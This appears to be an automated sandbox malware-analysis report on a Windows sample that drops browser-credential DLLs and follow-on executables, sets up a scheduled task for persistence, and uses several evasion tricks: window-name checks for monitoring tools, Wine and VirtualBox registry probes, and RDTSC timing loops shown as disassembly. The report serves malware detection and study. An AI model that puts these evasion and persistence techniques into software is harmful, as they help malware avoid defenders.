Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Unpacked PE file: 12.2.19a0b0f0ae.exe.8d0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 13.2.explorti.exe.70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kaaoivdf:EW;tgaboymz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kaaoivdf:EW;tgaboymz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 15.2.explorti.exe.70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kaaoivdf:EW;tgaboymz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kaaoivdf:EW;tgaboymz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 16.2.explorti.exe.70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kaaoivdf:EW;tgaboymz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kaaoivdf:EW;tgaboymz:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C65C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C65C410

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: explorti.exe.6.dr	Static PE information: real checksum: 0x1e0ae7 should be: 0x1e8388
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x26ea04
Source: 19a0b0f0ae.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x26ea04
Source: GCGCBAECFC.exe.0.dr	Static PE information: real checksum: 0x1e0ae7 should be: 0x1e8388
Source: file.exe	Static PE information: real checksum: 0x0 should be: 0x26ea04
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1e0ae7 should be: 0x1e8388

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: kaaoivdf
Source: amadka[1].exe.0.dr	Static PE information: section name: tgaboymz
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: GCGCBAECFC.exe.0.dr	Static PE information: section name:
Source: GCGCBAECFC.exe.0.dr	Static PE information: section name: .idata
Source: GCGCBAECFC.exe.0.dr	Static PE information: section name:
Source: GCGCBAECFC.exe.0.dr	Static PE information: section name: kaaoivdf
Source: GCGCBAECFC.exe.0.dr	Static PE information: section name: tgaboymz
Source: GCGCBAECFC.exe.0.dr	Static PE information: section name: .taggant
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: .idata
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: kaaoivdf
Source: explorti.exe.6.dr	Static PE information: section name: tgaboymz
Source: explorti.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name:
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name:
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name:
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name:
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B536 push ecx; ret	0_2_6C62B549
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_0008D82C push ecx; ret	8_2_0008D83F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0818 push eax; mov dword ptr [esp], esi	12_2_7F1F05E1
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0818 push edx; mov dword ptr [esp], edx	12_2_7F1F06B2
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0818 push ebx; mov dword ptr [esp], esi	12_2_7F1F07A3
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0818 push edi; mov dword ptr [esp], ebx	12_2_7F1F07A7
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0818 push edi; mov dword ptr [esp], ecx	12_2_7F1F0973
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F2910 push 7F1F0002h; ret	12_2_7F1F291F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F2610 push 7F1F0002h; ret	12_2_7F1F261F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0B10 push 7F1F0002h; ret	12_2_7F1F0B1F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0E10 push 7F1F0002h; ret	12_2_7F1F0E1F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F1110 push 7F1F0002h; ret	12_2_7F1F111F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F1410 push 7F1F0002h; ret	12_2_7F1F141F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F1710 push 7F1F0002h; ret	12_2_7F1F171F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F1A10 push 7F1F0002h; ret	12_2_7F1F1A1F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F1D10 push 7F1F0002h; ret	12_2_7F1F1D1F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F2010 push 7F1F0002h; ret	12_2_7F1F201F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F2310 push 7F1F0002h; ret	12_2_7F1F231F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F2700 push 7F1F0002h; ret	12_2_7F1F270F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F2400 push 7F1F0002h; ret	12_2_7F1F240F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0C00 push 7F1F0002h; ret	12_2_7F1F0C0F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0000 push eax; mov dword ptr [esp], ebx	12_2_7F1F007C
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0000 push edx; mov dword ptr [esp], edi	12_2_7F1F0155
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0000 push esi; mov dword ptr [esp], eax	12_2_7F1F046B
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0000 push eax; mov dword ptr [esp], esi	12_2_7F1F05E1
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0000 push edx; mov dword ptr [esp], edx	12_2_7F1F06B2
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0000 push ebx; mov dword ptr [esp], esi	12_2_7F1F07A3
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0000 push edi; mov dword ptr [esp], ebx	12_2_7F1F07A7
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0F00 push 7F1F0002h; ret	12_2_7F1F0F0F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F1200 push 7F1F0002h; ret	12_2_7F1F120F
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F1500 push 7F1F0002h; ret	12_2_7F1F150F

Source: file.exe	Static PE information: section name: entropy: 7.99509938642285
Source: file.exe	Static PE information: section name: entropy: 7.980645956973941
Source: file.exe	Static PE information: section name: entropy: 7.953504387930496
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.984532045293114
Source: amadka[1].exe.0.dr	Static PE information: section name: kaaoivdf entropy: 7.953322052984587
Source: GCGCBAECFC.exe.0.dr	Static PE information: section name: entropy: 7.984532045293114
Source: GCGCBAECFC.exe.0.dr	Static PE information: section name: kaaoivdf entropy: 7.953322052984587
Source: explorti.exe.6.dr	Static PE information: section name: entropy: 7.984532045293114
Source: explorti.exe.6.dr	Static PE information: section name: kaaoivdf entropy: 7.953322052984587
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.99509938642285
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.980645956973941
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.953504387930496
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name: entropy: 7.99509938642285
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name: entropy: 7.980645956973941
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name: entropy: 7.953504387930496

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6555F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6555F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 7FF3C4 second address: 7FF3DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F38729BC1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 98079A second address: 98079E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 98079E second address: 9807A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 96892C second address: 968949 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95233h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 968949 second address: 968982 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F0F38729BBEh 0x0000000c jne 00007F0F38729BBCh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F0F38729BC4h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 968982 second address: 968994 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0F38F95226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F0F38F95228h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 968994 second address: 96899B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 97F8B9 second address: 97F8EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95231h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F0F38F95242h 0x0000000f jmp 00007F0F38F95236h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 97F8EC second address: 97F91E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0F38729BC6h 0x0000000d jmp 00007F0F38729BC4h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 97F91E second address: 97F939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0F38F9522Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 97F939 second address: 97F93D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982902 second address: 982906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982906 second address: 982930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F0F38729BC7h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982930 second address: 982934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982934 second address: 98293A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982A4F second address: 982A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982A55 second address: 982ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F0F38729BB8h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 0000001Ah 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 xor dword ptr [ebp+122D2A3Dh], ecx 0x00000027 push 00000003h 0x00000029 jmp 00007F0F38729BC7h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 mov edx, dword ptr [ebp+122D382Fh] 0x00000037 pop edi 0x00000038 push 00000003h 0x0000003a jmp 00007F0F38729BC4h 0x0000003f mov cx, 9637h 0x00000043 push 46E86BCEh 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982ACC second address: 982AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982AD0 second address: 982ADA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0F38729BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982B4E second address: 982B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 cld 0x0000000a push 00000000h 0x0000000c clc 0x0000000d push 40B66D80h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
